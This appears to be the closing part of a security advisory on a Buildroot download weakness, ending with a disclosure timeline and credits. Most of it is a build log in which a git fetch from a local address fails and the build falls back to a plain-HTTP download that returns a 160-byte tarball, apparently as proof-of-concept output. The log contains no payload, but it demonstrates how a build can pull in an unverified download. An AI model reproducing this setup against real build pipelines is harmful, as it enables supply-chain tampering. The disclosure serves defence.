    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' 'http://sources.buildroot.net/linux/linux-123-br1.tar.gz'
    --2023-10-11 16:16:26--  http://sources.buildroot.net/linux/linux-123-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 172.67.72.56, 104.26.1.37
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output'
    
    /tmp/builddir/build/.linux-123-br1.tar.gz.OB     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 16:16:26 (24.1 MB/s) - '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' saved [160]
    
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    kmod-31.tar.xz: OK (sha256: f5a6949043cc72c001b728d8c218609c5a15f3c33d75614b78c79418fcf00d80)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    flex-2.6.4.tar.gz: OK (sha256: e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995)
    autoconf-2.71.tar.xz: OK (sha256: f14c83cfebcc9427f2c3cea7258bd90df972d92eb26752da4ddad81c87a0faa4)
    libtool-2.4.6.tar.xz: OK (sha256: 7c87a8c2c8c0fc9cd5019e402bed4292462d00a718a7cd5f11218153bf28b26f)
    automake-1.16.5.tar.xz: OK (sha256: f01d58cd6d9d77fbdca9eb4bbd5ead1988228fdb73d6f7a201f5f8d6b118b469)
    gettext-tiny-0.3.2.tar.gz: OK (sha256: 29cc165e27e83d2bb3760118c2368eadab550830d962d758e51bd36eb860f383)
    gettext-0.22.2.tar.xz: OK (sha256: 4c82fbfe5e53d71a97c634aa98a898b9da807b08b27410f6a4641e8bb44dc4b2)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

Tag

#git